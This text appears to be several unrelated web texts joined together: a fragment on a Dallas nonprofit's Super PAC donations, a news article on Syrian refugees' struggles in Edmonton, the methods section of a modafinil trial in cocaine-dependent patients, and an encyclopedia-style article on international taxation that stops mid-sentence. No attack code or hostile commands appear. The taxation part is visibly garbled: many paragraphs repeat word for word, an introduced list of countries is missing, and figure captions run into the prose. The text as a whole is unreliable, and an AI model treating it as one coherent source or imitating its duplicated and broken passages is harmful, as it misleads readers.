unknown. Freedom Frontier is a Dallas 501(c)(4) nonprofit — a type of organization that can engage in political activity as long as that is not its primary focus. Freedom Frontier does not appear to have ever done anything except give $2,575,000 to various conservative Super PACs this election cycle.
-More than a year after arriving on Canadian soil, thousands of Syrian refugees are still struggling to make ends meet and provide for their families.  Alberta welcomed nearly over 5,100 refugees between Nov. 26, 2015 and March 2017, with 2,100 settling in Edmonton.  A report prepared by city staff and presented to the community and public services committee Monday shows the biggest challenges are in health, housing and employment.  "It's just the demand is so high," Ricki Justice, with the Mennonite Centre for Newcomers, told the committee.  Justice said refugees dealing with complex trauma from the Syrian war are having a tough time accessing psychological services.  "Six-week wait times to see a counsellor," she said.  The executive director of the Islamic Family and Social Services Association, Mohamed Huque, says several social agencies in Edmonton work together to help refugee families. (CBC) Catholic Social Services, a group responsible for settling the government-assisted refugees in Alberta, has held a series of forums since the first refugees arrived last year. In May 2017, it compiled the information delivered in the report.  "It's not out of a lack of want," Mohamed Huque, executive director of the Islamic Family and Social Services Association, told CBC News.  "Sometimes it's a lack of resources."  He said long wait times and a lack of childcare prevent some refugees from attending language classes, which could boost their skill levels and better their chances of finding work.  "I hope the public appetite doesn't wane," Huque said. "The long-term effects are the ones that we tend to lose focus [on]."  Housing struggles  The province came out with an affordable housing strategy earlier in the summer and Huque hopes some of it will address the need for larger units for bigger families.  "I don't think it was expected the sizes of some of these families," he said. "Six, seven, eight people are just not going to fit into a two- or three-bedroom unit."  He said moving to a bigger place is beyond many refugees' means. They end up relying on food banks and other charities.  Coun. Scott McKeen wants to see more detailed information on refugee families and their backgrounds. (Lydia Neufeld/CBC) Coun. Scott McKeen told the committee he wants to see better documentation on refugees' backgrounds and what families need.  "We probably, as a community, don't have a really good handle on how big that is," McKeen said. "Where the gaps are going to be for what kind of family."  McKeen said he wants to know how many are struggling with housing "so then we can, with our government partners, come up with a strategy that is effective."  Huque explained a lot of that information is contained in sponsorship documents, which accompanied the families when they arrived and include background on the kinds of employment they had in Syria.  But the location of those documents depends on who sponsored the families.  "It's in different places, but it's available."  Refugees are still arriving, but not in the same numbers. The city report is meant to outline the gaps in services.  The city helps coordinate and share information among agencies to help newcomers participate economically, socially and culturally in the long term.
-Study Design  The present study is a 3-month randomized double-blind study using brain imaging and modafinil 400 mg/day vs placebo (Figure 1). Enrolled cocaine-dependent patients were hospitalized from day 0 to day 17. They were examined twice, before and after 2 weeks of treatment (on days 3 and 17). The participants went through magnetic resonance imaging (MRI)/PET imaging, neuropsychological tests, and clinical and biological assessments (craving and depression rating, blood tests, and urinary toxicology screening tests). From day 4 to day 90, modafinil 100 mg tablets or placebo tablets were orally administered in the morning as follows: four tablets for 26 days, then three tablets for 30 days, and finally two tablets for 31 days. A cocaine abstinence follow-up was carried out from day 17 to day 90 using urinary benzoylecgonine (BE) dosage. Urine samples were collected on days 29, 45, 59, 75, and 90 to assess abstinence after hospitalization. Thereafter the treatment was discontinued. Compliance with medication was measured by pill count using the treatment blisters. Each group was blind to modafinil or placebo until the end of the study. The study was registered as the Cocaine Addiction Imaging Medications and Neurotransmitters (CAIMAN) study, with ClinicalTrials.gov identifier NCT00701532.  Figure 1 Study design and patients’ clinical course. During hospitalization, neuroimaging session, neuropsychological tests (N-back; Iowa Gambling task), clinical assessments (craving and depression ratings), and urinary toxicology screening tests were performed twice. After hospitalization, patients came back every 2 weeks for medical consultation, and urine samples were collected to define abstinence or relapse. The decrease of modafinil dosage occurred on day 30 (400–300 mg) and day 60 (300–200 mg). The horizontal bars represent the clinical course of each participant throughout the study. Full size image Download PowerPoint slide  Participants  The study was approved by the local ethics committee (Comité de Protection des Personnes Ile-de-France 7). Oral and written consent were obtained after complete description of the study. Participants were randomized by the Department of Clinical Research of Paris Sud University.  Twenty-nine cocaine-dependent male patients aged 26–52 years were recruited in the Cocaine Reference Center of Paul Brousse University Hospital, Villejuif (France) over a period of 2 months. All patients met DSM-IV criteria for cocaine dependence, had a positive urine toxicology screen for cocaine in the weeks prior to hospitalization, were seeking treatment, and were willing to give informed consent prior to participation. Exclusion criteria were: a known hypersensitivity to modafinil or modafinil contraindications, any substance-related Axis I disorder (except tobacco dependence), any treatment that interferes with the DAT or modafinil, and MRI contraindications.  Clinical Assessments  Depression was assessed using the Montgomery–Asberg Depression Rating Scale (MADRS) (Montgomery and Asberg, 1979) and the Beck Depression Inventory (BDI) (Beck et al, 1961). Craving was evaluated using a seven-point visual analog scale, the brief version of the Cocaine Craving Questionnaire (10-item CCQ brief) measuring the current craving (Karila et al, 2011b). Cognitive deficits were measured using two neuropsychological tests: Bechara’s Iowa Gambling Task (IGT) (Bechara et al, 1994) assessing decision-making, and a visuospatial N-Back task assessing working memory (Carlson et al, 1998). These tests were carried out in session by a senior neuropsychologist.  Pharmacological Treatments  Modafinil (100 mg tablets) is chemically and pharmacologically distinct from other central nervous system stimulants and is approved for the treatment of sleep disorders. The pharmacokinetics of modafinil is linear, independent of the administered dose. Peak plasma concentrations are reached 2–3 h after its use. The elimination half-life of modafinil is 10–12 h. The pharmacodynamic activity does not seem to affect the autonomic nervous system and the cardiovascular system. The usual dosage for this treatment is 200–400 mg per day as a single dose in the morning. It has numerous side effects and some contraindications (FDA, 2007). The placebo tablets were identical to the modafinil ones. In case of withdrawal symptoms, hydroxyzine 25 mg were administered three times per day.  Image Acquisition and Processing  PET images were acquired on a Siemens ECAT HRRT 3D-PET scanner (CPS innovations Services, Knoxville, TN, USA). Previous studies using [11C]-PE2I and HRRT in healthy subjects reported good suitability and test/retest reproducibility, and better accuracy in quantifying DAT binding, as compared with conventional PET scanners (Hirvonen et al, 2008). [11C]-PE2I was prepared using a TRACERlab FX-C Pro synthesizer (Gems, Velisy, France). The acquisition started with the bolus injection of 300 MBq of [11C]-PE2I and lasted 60 min (20 sequential frames from 1 to 5 min were acquired). Images were reconstructed using the statistical algorithm ordinary Poisson-ordered subset expectation maximization. The voxel size was 1.2 × 1.2 × 1.2 mm3. The injected radioactivity for [11C]-PE2I was 306.3±56.0 MBq in scan 1 (day 3) and 319.46±38.35 MBq in scan 2 (day 17). The specific radioactivity in the two scans was 29.3±12.8 and 28.6±14.0 MBq/μmol, respectively. There was no difference between the groups on days 3 and 17 in injected radioactivity (F(1,26)=0.01, P=0.91 and F(1,21)= 1.33, P=0.26, respectively) or in specific radioactivity (F(1,26)= 0.69, P=0.41 and F(1,21)=1.16, P=0.29, respectively).  MRI was acquired on a 1.5-T Signa scanner (General Electric Healthcare, Milwauke, WI, USA). A T1-weighted sequence was performed using the following MRI parameters: 3D Fourier-transform spoiled-gradient-recalled acquisition with TR=12.5 ms, TE=2.2 ms, 124 contiguous slices of 1.3 mm thickness, a field of view of 24 cm, and a 256 × 256 view matrix, with a voxel size of 0.9 × 0.9 × 1.3 mm3, 16 bits/pixel.  Motion corrections during PET acquisition were carried out using a home-made tool within the BrainVISA/Anatomist software (http://brainvisa.info) consisting in frame by frame co-registration of the PET dynamic series using a mutual information method. Thereafter, in order to process parametric binding potential images, brain regions were determined by T1-MRI automatic parcellation and applied on dynamic co-registered PET images using the PMOD PNEURO tool, version 3.4 (PMOD, Zurich, Switzerland). Time–activity curves obtained from bilateral dorsal caudate and putamen nuclei as high specific binding and crus1 sub-region of the cerebellum as a reference tissue were exported to PMOD’s pixel-wise tool. Parametric maps of the regional [11C]-PE2I non-displaceable binding potential (BP ND ) were generated using Gunn’s basis function method (Gunn et al, 1997), which is closely related to the simplified reference tissue model (Lammertsma and Hume, 1996). Previous studies have confirmed the suitability of specific [11C]-PE2I binding quantification using a compartmental approach with the cerebellum as reference region (Seki et al, 2010). Spatial normalization was applied on the BP ND maps using SPM8 (Statistical Parametric Mapping, Welcome Department of Cognitive Neurology, London, UK) with a ligand-specific [11C]-PE2I template generated according to an MRI-aided procedure (Meyer et al, 1999). The normalized BP ND maps were smoothed using a 10-mm FWHM Gaussian filter. The voxel size was 2 × 2 × 2 mm3.  Statistical Analysis  Among the 29 patients enrolled, two left the study on the first day of hospitalization and were excluded from the analysis. Twenty-seven patients were compared on enrolment on demographic and clinical characteristics using Student’s t-test. In order to assess their course during hospitalization, we performed repeated-measures analyses of variance on clinical and neuropsychological data between day 3 and day 17. These analyses included time (day 3, day 17) as within-subject factor and group (modafinil, placebo) as between-subject factor.  During follow-up, samples containing BE at concentrations 300 ng/ml were considered positive for cocaine. Therapeutic failures were defined by dropouts or at least one cocaine-positive urine sample, and abstinence was defined by negative urine samples. A chi-square test (Fisher’s Exact test) was used to compare the treatment groups in terms of therapeutic failure and abstinence throughout the study for 27 participants. We used post-hoc t-tests on day 3 clinical data to ensure that the therapeutic failures and the abstinent patients were not clinically different at the beginning of the study. JMP 10 (JMP, SAS Institute, Cary, NC, 1989–2007) was used to perform these analyses.  PET images voxel-wise analyses were performed with SPM8. A one-sample t-test of BP ND maps acquired on day 3 was performed to visualize the localization of DAT availability in the brain before treatment and was used to define a mask of analysis. Analyses were conducted within a brain mask defined as all voxels with a minimum value of PET signal, which was 50% superior to the maximum value of the crus1 area (cerebellar reference region). This mask included bilateral striatum, insula, pallidum, claustrum, amygdala, thalamus, midbrain, inferior frontal cortex (gyrus rectus, olfactory cortex and orbitofrontal cortex) and temporal cortex (hippocampus, parahippocampal gyrus).  We compared BP ND maps using a repeated-measures analysis of variance (flexible factorial design in SPM8) with subjects and time as within-subject factors and group as between-subject factor. This analysis was conducted to examine the global group effect, the time effect and the group by time interaction for the patients who were present to the two imaging sessions (N=22). Post-hoc two-sample t-tests were used to specify the differences between treatment groups on day 3 and day 17 separately, with age as confounding covariate. Likewise, post-hoc paired t-tests were used to assess time effect between day 3 and day 17 within the two groups separately.  Correlation analyses were performed between BP ND images and clinical or neuropsychological variables (craving and depression rates, working memory and decision-making scores, and urinary BE amounts) using multiple regression analyses, with age as confounding covariate. Analyses were conducted across all patients on day 3 (n=27) and the two groups on day 17 (n=9 and n=13 for the modafinil and placebo groups, respectively).
-International taxation is the study or determination of tax on a person or business, subject to the tax laws of different countries or the international aspects of an individual country's tax laws as the case may be. Governments usually limit the scope of their income taxation in some manner territorially or provide for offsets to taxation relating to extraterritorial income. The manner of limitation generally takes the form of a territorial, residence-based, or exclusionary system. Some governments have attempted to mitigate the differing limitations of each of these three broad systems by enacting a hybrid system with characteristics of two or more.  Many governments tax individuals and/or enterprises on income. Such systems of taxation vary widely, and there are no broad general rules. These variations create the potential for double taxation (where the same income is taxed by different countries) and no taxation (where income is not taxed by any country). Income tax systems may impose tax on local income only or on worldwide income. Generally, where worldwide income is taxed, reductions of tax or foreign credits are provided for taxes paid to other jurisdictions. Limits are almost universally imposed on such credits. Multinational corporations usually employ international tax specialists, a specialty among both lawyers and accountants, to decrease their worldwide tax liabilities.  With any system of taxation, it is possible to shift or recharacterize income in a manner that reduces taxation. Jurisdictions often impose rules relating to shifting income among commonly controlled parties, often referred to as transfer pricing rules. Residency-based systems are subject to taxpayer attempts to defer recognition of income through use of related parties. A few jurisdictions impose rules limiting such deferral ("anti-deferral" regimes). Deferral is also specifically authorized by some governments for particular social purposes or other grounds. Agreements among governments (treaties) often attempt to determine who should be entitled to tax what. Most tax treaties provide for at least a skeleton mechanism for resolution of disputes between the parties.  Introduction [ edit ]  Systems of taxation vary among governments, making generalization difficult. Specifics are intended as examples, and relate to particular governments and not broadly recognized multinational rules. Taxes may be levied on varying measures of income, including but not limited to net income under local accounting concepts (in many countries this is referred to as 'profit'), gross receipts, gross margins (sales less costs of sale), or specific categories of receipts less specific categories of reductions. Unless otherwise specified, the term "income" should be read broadly.  Jurisdictions often impose different income-based levies on enterprises than on individuals. Entities are often taxed in a unified manner on all types of income while individuals are taxed in differing manners depending on the nature or source of the income. Many jurisdictions impose tax at both an entity level and at the owner level on one or more types of enterprises.[1] These jurisdictions often rely on the company law of that jurisdiction or other jurisdictions in determining whether an entity's owners are to be taxed directly on the entity income. However, there are notable exceptions, including U.S. rules characterizing entities independently of legal form.[2]  In order to simplify administration or for other agendas, some governments have imposed "deemed" income regimes. These regimes tax some class of taxpayers according to tax system applicable to other taxpayers but based on a deemed level of income, as if received by the taxpayer. Disputes can arise regarding what levy is proper. Procedures for dispute resolution vary widely and enforcement issues are far more complicated in the international arena. The ultimate dispute resolution for a taxpayer is to leave the jurisdiction, taking all property that could be seized. For governments, the ultimate resolution may be confiscation of property, incarceration or dissolution of the entity.  Other major conceptual differences can exist between tax systems. These include, but are not limited to, assessment vs. self-assessment means of determining and collecting tax; methods of imposing sanctions for violation; sanctions unique to international aspects of the system; mechanisms for enforcement and collection of tax; and reporting mechanisms.  Taxation systems [ edit ]  No income tax on individuals Territorial Residence-based Citizenship-based Systems of taxation on personal income  Countries that tax income generally use one of two systems: territorial or residence-based. In the territorial system, only local income – income from a source inside the country – is taxed. In the residence-based system, residents of the country are taxed on their worldwide (local and foreign) income, while nonresidents are taxed only on their local income. In addition, a very small number of countries, notably the United States, also tax their nonresident citizens on worldwide income.  Countries with a residence-based system of taxation usually allow deductions or credits for the tax that residents already pay to other countries on their foreign income. Many countries also sign tax treaties with each other to eliminate or reduce double taxation. In the case of corporate income tax, some countries allow an exclusion or deferment of specific items of foreign income from the base of taxation.  Individuals [ edit ]  The following table summarizes the taxation of local and foreign income of individuals, depending on their residence or citizenship in the country. It includes 244 entries: 194 sovereign countries, their 40 inhabited dependent territories (most of which have separate tax systems), and 10 countries with limited recognition. In the table, income includes any type of income received by individuals, such as work or investment income, and yes means that the country taxes at least one of these types.  Residency [ edit ]  Taxing regimes are generally classified as either residency based or territorial based. Most jurisdictions tax income on a residency basis. They need to define "resident" and characterize the income of nonresidents. Such definitions vary by country and type of taxpayer, but usually involve the location of the person's main home and number of days the person is physically present in the country. Examples include:  The United States taxes its citizens as residents, and provides lengthy, detailed rules for individual residency of foreigners, covering: periods establishing residency (including a formulary calculation involving three years); start and end date of residency; exceptions for transitory visits, medical conditions, etc. [106]  The United Kingdom, prior to 2013, established three categories: non-resident, resident, and resident but not ordinarily resident. [107] From 2013, the categories of resident are limited to non-resident and resident. Residency is established by application of the tests in the Statutory Residency Test. [108]  From 2013, the categories of resident are limited to non-resident and resident. Residency is established by application of the tests in the Statutory Residency Test. Switzerland residency may be established by having a permit to be employed in Switzerland for an individual who is so employed.[109]  Territorial systems usually tax local income regardless of the residence of the taxpayer. The key problem argued for this type of system is the ability to avoid taxation on portable income by moving it outside of the country. This has led governments to enact hybrid systems to recover lost revenue.  Citizenship [ edit ]  Almost all countries tax foreign income based on residency, if at all. Only three countries in the world systematically and comprehensively tax the worldwide income of nonresident citizens:[110][111]  Like Eritrea, enforcement tactics used by the U.S. government to facilitate tax compliance include the denial of U.S. passports to nonresident U.S. citizens deemed to be delinquent taxpayers and the potential seizure of any U.S. accounts and/or U.S.-based assets. The IRS can also exert substantial compliance pressure on nonresident citizens as a result of the FATCA legislation passed in 2010, which compels foreign banks to disclose U.S. account holders or face crippling fines on U.S.-related financial transactions. Unlike Eritrea, the U.S. has faced little international backlash related to its global enforcement tactics. For example, unlike their response to Eritrea's collection efforts, Canada and all EU member states have ratified intergovernmental agreements (IGAs) facilitating FATCA compliance and supporting the U.S. global tax regime in place for U.S. citizens (including dual nationals). The implementation of these IGAs has led to a substantial increase in U.S. citizenship renunciations since 2012, with wait times for renunciation appointments at the U.S. consulate in Toronto exceeding one year as of early 2016.[126]  A few other countries tax based on citizenship in limited situations:  Finland continues taxing its citizens who move from Finland to another country as residents of Finland, for the first three years after moving there, unless they demonstrate that they no longer have any ties to Finland. After this period, they are no longer considered residents of Finland for tax purposes. [127]  Finland continues taxing its citizens who move from Finland to another country as residents of Finland, for the first three years after moving there, unless they demonstrate that they no longer have any ties to Finland. After this period, they are no longer considered residents of Finland for tax purposes. France taxes its citizens who move to Monaco as residents of France, according to a treaty signed between the two countries in 1963. [10] However, those who already lived in Monaco since 1957, as well as those who were born in Monaco and have always lived there, are not subject to taxation as residents of France. [128] [129] Other than this case, France does not tax the foreign income of its nonresident citizens.  France taxes its citizens who move to Monaco as residents of France, according to a treaty signed between the two countries in 1963. However, those who already lived in Monaco since 1957, as well as those who were born in Monaco and have always lived there, are not subject to taxation as residents of France. Other than this case, France does not tax the foreign income of its nonresident citizens. Italy continues taxing its citizens who move from Italy to a tax haven [Note 7] as residents of Italy, unless they demonstrate that they no longer have any ties to Italy. [130] Other than this case, Italy does not tax the foreign income of its nonresident citizens.  Italy continues taxing its citizens who move from Italy to a tax haven as residents of Italy, unless they demonstrate that they no longer have any ties to Italy. Other than this case, Italy does not tax the foreign income of its nonresident citizens. Mexico continues taxing its citizens who move from Mexico to a tax haven [Note 8] as residents of Mexico, for the first three years after moving there. After this period, they are no longer considered residents of Mexico for tax purposes. [132]  Mexico continues taxing its citizens who move from Mexico to a tax haven as residents of Mexico, for the first three years after moving there. After this period, they are no longer considered residents of Mexico for tax purposes. Myanmar law taxes the foreign income of nonresident citizens except their salaries. However, since 2012 this tax is no longer enforced by embassies and consulates of Myanmar. [74] [75] [76]  Myanmar law taxes the foreign income of nonresident citizens except their salaries. However, since 2012 this tax is no longer enforced by embassies and consulates of Myanmar. Portugal taxes its citizens who move to a tax haven [Note 9] as residents of Portugal, for the first five years after moving there. After this period, they are no longer considered residents of Portugal for tax purposes. Other than this case, Portugal does not tax the foreign income of its nonresident citizens. [134]  Portugal taxes its citizens who move to a tax haven as residents of Portugal, for the first five years after moving there. After this period, they are no longer considered residents of Portugal for tax purposes. Other than this case, Portugal does not tax the foreign income of its nonresident citizens. Spain continues taxing its citizens who move from Spain to a tax haven [Note 10] as residents of Spain, for the first five years after moving there. After this period, they are no longer considered residents of Spain for tax purposes. [135] Other than this case, Spain does not tax the foreign income of its nonresident citizens.  Spain continues taxing its citizens who move from Spain to a tax haven as residents of Spain, for the first five years after moving there. After this period, they are no longer considered residents of Spain for tax purposes. Other than this case, Spain does not tax the foreign income of its nonresident citizens. Sweden continues taxing its citizens (as well as foreigners who lived there for at least ten years) who move from Sweden to another country as residents of Sweden, for the first five years after moving there, unless they demonstrate that they no longer have essential connections to Sweden. After this period, they are no longer considered residents of Sweden for tax purposes. [136]  Sweden continues taxing its citizens (as well as foreigners who lived there for at least ten years) who move from Sweden to another country as residents of Sweden, for the first five years after moving there, unless they demonstrate that they no longer have essential connections to Sweden. After this period, they are no longer considered residents of Sweden for tax purposes. Turkey taxes its citizens who are residing abroad to work for the Turkish government or Turkish companies as residents of Turkey, but exempts their income that is already taxed by the country of origin.[98] Other than this case, Turkey does not tax the foreign income of its nonresident citizens.  A few other countries used to tax the foreign income of nonresident citizens, but have abolished this practice:  Romania used to tax the worldwide income of its citizens regardless of where they resided, but abandoned this practice some time between 1933 and 1954. [137] [138]  Romania used to tax the worldwide income of its citizens regardless of where they resided, but abandoned this practice some time between 1933 and 1954. Mexico used to tax its citizens in the same manner as residents, on worldwide income. A new income tax law, passed in 1980 and effective 1981, determined only residence as the basis for taxation of worldwide income. [139] However, since 2006 Mexico taxes based on citizenship in limited situations (see above). [140]  Mexico used to tax its citizens in the same manner as residents, on worldwide income. A new income tax law, passed in 1980 and effective 1981, determined only residence as the basis for taxation of worldwide income. However, since 2006 Mexico taxes based on citizenship in limited situations (see above). Bulgaria used to tax its citizens on worldwide income regardless of where they resided. [141] A new income tax law, passed in 1997 and effective 1998, determined residence as the basis for taxation of worldwide income. [142]  Bulgaria used to tax its citizens on worldwide income regardless of where they resided. A new income tax law, passed in 1997 and effective 1998, determined residence as the basis for taxation of worldwide income. The Philippines used to tax the foreign income of nonresident citizens at reduced rates of 1 to 3% (income tax rates for residents were 1 to 35% at the time). [143] It abolished this practice in a new revenue code in 1997, effective 1998. [144]  The Philippines used to tax the foreign income of nonresident citizens at reduced rates of 1 to 3% (income tax rates for residents were 1 to 35% at the time). It abolished this practice in a new revenue code in 1997, effective 1998. Vietnam used to tax its citizens in the same manner as residents, on worldwide income. The country passed a personal income tax law in 2007, effective 2009, removing citizenship as a criterion to determine residence. [145]  Vietnam used to tax its citizens in the same manner as residents, on worldwide income. The country passed a personal income tax law in 2007, effective 2009, removing citizenship as a criterion to determine residence. Myanmar used to tax all foreign income of its nonresident citizens at a flat rate of 10% (income tax rates for residents range from 5 to 25%). As part of a series of reforms, the country exempted their foreign salaries from tax in 2011, effective 2012.[146] Although Myanmar law still taxes their foreign income other than salaries, this tax is no longer enforced by embassies and consulates of Myanmar.[74][75][76]  Other [ edit ]  There are some arrangements for international taxation that are not based on residency or citizenship:  United Kingdom imposes global income tax on anyone who owes UK student loans. These are not true loans, but borrowings to be repaid through an additional 9% income tax, levied above a certain income threshold, until the balance of the loan expires in 30 years. The interest rate is expressed as a punitive addition to the UK Retail Price Index inflation rate (e.g. RPI + 3%), so the value of the loan cannot be inflated away. The loan cannot be repudiated by declaring bankruptcy. The income tax is imposed irrespective of citizenship or residency, which means the UK HMRC must track the location and income of all loan holders, wherever they are in the world, for several decades.  Corporations [ edit ]  Countries do not necessarily use the same system of taxation for individuals and corporations. For example, France uses a residence-based system for individuals but a territorial system for corporations,[147] while Singapore does the opposite,[148] and Brunei and Monaco taxes corporate but not personal income.[149][150]  Exclusion [ edit ]  Many systems provide for specific exclusions from taxable (chargeable) income. For example, several countries, notably Cyprus, Luxembourg, Netherlands and Spain, have enacted holding company regimes that exclude from income dividends from certain foreign subsidiaries of corporations. These systems generally impose tax on other sorts of income, such as interest or royalties, from the same subsidiaries. They also typically have requirements for portion and time of ownership in order to qualify for exclusion. The Netherlands offers a "participation exemption" for dividends from subsidiaries of Netherlands companies. Dividends from all Dutch subsidiaries automatically qualify. For other dividends to qualify, the Dutch shareholder or affiliates must own at least 5% and the subsidiary must be subject to a certain level of income tax locally.[151]  Some countries, such as the United States and Singapore,[152] allow deferment of tax on foreign income of resident corporations until it is remitted to the country.  Individuals versus enterprises [ edit ]  Many tax systems tax individuals in one manner and entities that are not considered fiscally transparent in another. The differences may be as simple as differences in tax rates,[153] and are often motivated by concerns unique to either individuals or corporations. For example, many systems allow taxable income of an individual to be reduced by a fixed amount allowance for other persons supported by the individual (dependents). Such a concept is not relevant for enterprises.  Many systems allow for fiscal transparency of certain forms of enterprise. For example, most countries tax partners of a partnership, rather than the partnership itself, on income of the partnership.[154] A common feature of income taxation is imposition of a levy on certain enterprises in certain forms followed by an additional levy on owners of the enterprise upon distribution of such income. For example, the U.S. imposes two levels of tax on foreign individuals or foreign corporations who own a U.S. corporation. First, the U.S. corporation is subject to the regular income tax on its profits, then subject to an additional 30% tax on the dividends paid to foreign shareholders (the branch profits tax). The foreign corporation will be subject to U.S. income tax on its effectively connected income, and will also be subject to the branch profits tax on any of its profits not reinvested in the U.S.[citation needed] Thus, many countries tax corporations under company tax rules and tax individual shareholders upon corporate distributions. Various countries have tried (and some still maintain) attempts at partial or full "integration" of the enterprise and owner taxation. Where a two level system is present but allows for fiscal transparency of some entities, definitional issues become very important.  Source of income [ edit ]  Determining the source of income is of critical importance in a territorial system, as source often determines whether or not the income is taxed. For example, Hong Kong does not tax residents on dividend income received from a non-Hong Kong corporation.[155] Source of income is also important in residency systems that grant credits for taxes of other jurisdictions. Such credit is often limited either by jurisdiction or to the local tax on overall income from other jurisdictions.  Source of income is where the income is considered to arise under the relevant tax system. The manner of determining the source of income is generally dependent on the nature of income. Income from the performance of services (e.g., wages) is generally treated as arising where the services are performed.[156] Financing income (e.g., interest, dividends) is generally treated as arising where the user of the financing resides.[157][citation needed] Income related to use of tangible property (e.g., rents) is generally treated as arising where the property is situated.[158][citation needed] Income related to use of intangible property (e.g., royalties) is generally treated as arising where the property is used. Gains on sale of realty are generally treated as arising where the property is situated.  Gains from sale of tangible personal property are sourced differently in different jurisdictions. The U.S. treats such gains in three distinct manners: a) gain from sale of purchased inventory is sourced based on where title to the goods passes;[159] b) gain from sale of inventory produced by the person (or certain related persons) is sourced 50% based on title passage and 50% based on location of production and certain assets;[160] c) other gains are sourced based on the residence of the seller.[161]  In specific cases, the tax system may diverge for different categories of individuals. U.S. citizen and resident alien decedents are subject to estate tax on all of their assets, wherever situated. The nonresident aliens are subject to estate tax only on that part of the gross estate which at the time of death is situated in the U.S. Another significant distinction between U.S. citizens/RAs and NRAs is in the exemptions allowed in computing the tax liability.[162]  Where differing characterizations of an item of income can result in differing tax results, it is necessary to determine the characterization. Some systems have rules for resolving characterization issues, but in many cases resolution requires judicial intervention.[163] Note that some systems which allow a credit for foreign taxes source income by reference to foreign law.[164]  Definitions of income [ edit ]  Some jurisdictions tax net income as determined under financial accounting concepts of that jurisdiction, with few, if any, modifications.[citation needed] Other jurisdictions determine taxable income without regard to income reported in financial statements.[165] Some jurisdictions compute taxable income by reference to financial statement income with specific categories of adjustments, which can be significant.[166]  A jurisdiction relying on financial statement income tends to place reliance on the judgment of local accountants for determinations of income under locally accepted accounting principles. Often such jurisdictions have a requirement that financial statements be audited by registered accountants who must opine thereon.[167] Some jurisdictions extend the audit requirements to include opining on such tax issues as transfer pricing.[citation needed] Jurisdictions not relying on financial statement income must attempt to define principles of income and expense recognition, asset cost recovery, matching, and other concepts within the tax law. These definitional issues can become very complex. Some jurisdictions following this approach also require business taxpayers to provide a reconciliation of financial statement and taxable incomes.[168]  Deductions [ edit ]  Systems that allow a tax deduction of expenses in computing taxable income must provide for rules for allocating such expenses between classes of income. Such classes may be taxable versus non-taxable, or may relate to computations of credits for taxes of other systems (foreign taxes). A system which does not provide such rules is subject to manipulation by potential taxpayers. The manner of allocation of expenses varies. U.S. rules provide for allocation of an expense to a class of income if the expense directly relates to such class, and apportionment of an expense related to multiple classes. Specific rules are provided for certain categories of more fungible expenses, such as interest.[169] By their nature, rules for allocation and apportionment of expenses may become complex. They may incorporate cost accounting or branch accounting principles,[169] or may define new principles.  Thin capitalization [ edit ]  Most jurisdictions provide that taxable income may be reduced by amounts expended as interest on loans. By contrast, most do not provide tax relief for distributions to owners.[170] Thus, an enterprise is motivated to finance its subsidiary enterprises through loans rather than capital. Many jurisdictions have adopted "thin capitalization" rules to limit such charges. Various approaches include limiting deductibility of interest expense to a portion of cash flow,[171] disallowing interest expense on debt in excess of a certain ratio,[citation needed] and other mechanisms.  Enterprise restructure [ edit ]  The organization or reorganization of portions of a multinational enterprise often gives rise to events that, absent rules to the contrary, may be taxable in a particular system. Most systems contain rules preventing recognition of income or loss from certain types of such events. In the simplest form, contribution of business assets to a subsidiary enterprise may, in certain circumstances, be treated as a nontaxable event.[172] Rules on structuring and restructuring tend to be highly complex.  Credits for taxes of other jurisdictions [ edit ]  Systems that tax income from outside the system's jurisdiction tend to provide for a unilateral credit or offset for taxes paid to other jurisdictions. Such other jurisdiction taxes are generally referred to within the system as "foreign" taxes. Tax treaties often require this credit. A credit for foreign taxes is subject to manipulation by planners if there are no limits, or weak limits, on such credit. Generally, the credit is at least limited to the tax within the system that the taxpayer would pay on income from outside the jurisdiction.[173] The credit may be limited by category of income,[174] by other jurisdiction or country, based on an effective tax rate, or otherwise. Where the foreign tax credit is limited, such limitation may involve computation of taxable income from other jurisdictions. Such computations tend to rely heavily on the source of income and allocation of expense rules of the system.[175]  Withholding tax [ edit ]  Many jurisdictions require persons paying amounts to nonresidents to collect tax due from a nonresident with respect to certain income by withholding such tax from such payments and remitting the tax to the government.[176] Such levies are generally referred to as withholding taxes. These requirements are induced because of potential difficulties in collection of the tax from nonresidents. Withholding taxes are often imposed at rates differing from the prevailing income tax rates.[177] Further, the rate of withholding may vary by type of income or type of recipient.[178][179] Generally, withholding taxes are reduced or eliminated under income tax treaties (see below). Generally, withholding taxes are imposed on the gross amount of income, unreduced by expenses.[180] Such taxation provides for great simplicity of administration but can also reduce the taxpayer's awareness of the amount of tax being collected.[181]  Treaties [ edit ]  OECD members Accession candidate countries Enhanced engagement countries  [182] Havens in countries with tax information sharing allowing for compliance enforcement have been in decline. The "Big 7" shown are Hong Kong, Ireland, Lebanon, Liberia, Panama, Singapore, and Switzerland. Ratio of German assets in tax havens to German GDP, 1996–2008.Havens in countries with tax information sharing allowing for compliance enforcement have been in decline. The "Big 7" shown are Hong Kong, Ireland, Lebanon, Liberia, Panama, Singapore, and Switzerland.  Tax treaties exist between many countries on a bilateral basis to prevent double taxation (taxes levied twice on the same income, profit, capital gain, inheritance or other item). In some countries they are also known as double taxation agreements, double tax treaties, or tax information exchange agreements (TIEA).  Most developed countries have a large number of tax treaties, while developing countries are less well represented in the worldwide tax treaty network.[183] The United Kingdom has treaties with more than 110 countries and territories. The United States has treaties with 56 countries (as of February 2007). Tax treaties tend not to exist, or to be of limited application, when either party regards the other as a tax haven. There are a number of model tax treaties published by various national and international bodies, such as the United Nations and the OECD.[184]  Treaties tend to provide reduced rates of taxation on dividends, interest, and royalties. They tend to impose limits on each treaty country in taxing business profits, permitting taxation only in the presence of a permanent establishment in the country.[185] Treaties tend to impose limits on taxation of salaries and other income for performance of services. They also tend to have "tie breaker" clauses for resolving conflicts between residency rules. Nearly all treaties have at least skeletal mechanisms for resolving disputes, generally negotiated between the "competent authority" section of each country's taxing authority.  Anti-deferral measures [ edit ]  Residency systems may provide that residents are not subject to tax on income outside the jurisdiction until that income is remitted to the jurisdiction.[186] Taxpayers in such systems have significant incentives to shift income outside its borders. Depending on the rules of the system, the shifting may occur by changing the location of activities generating income or by shifting income to separate enterprises owned by the taxpayer. Most residency systems have avoided rules which permit deferring income from outside its borders without shifting it to a subsidiary enterprise due to the potential for manipulation of such rules. Where owners of an enterprise are taxed separately from the enterprise, portable income may be shifted from a taxpayer to a subsidiary enterprise to accomplish deferral or elimination of tax. Such systems tend to have rules to limit such deferral through controlled foreign corporations. Several different approaches have been used by countries for their anti-deferral rules.[187]  In the United States, rules provides that U.S. shareholders of a Controlled Foreign Corporation (CFC) must include their shares of income or investment of E&P by the CFC in U.S. property.[188] U.S. shareholders are U.S. persons owning 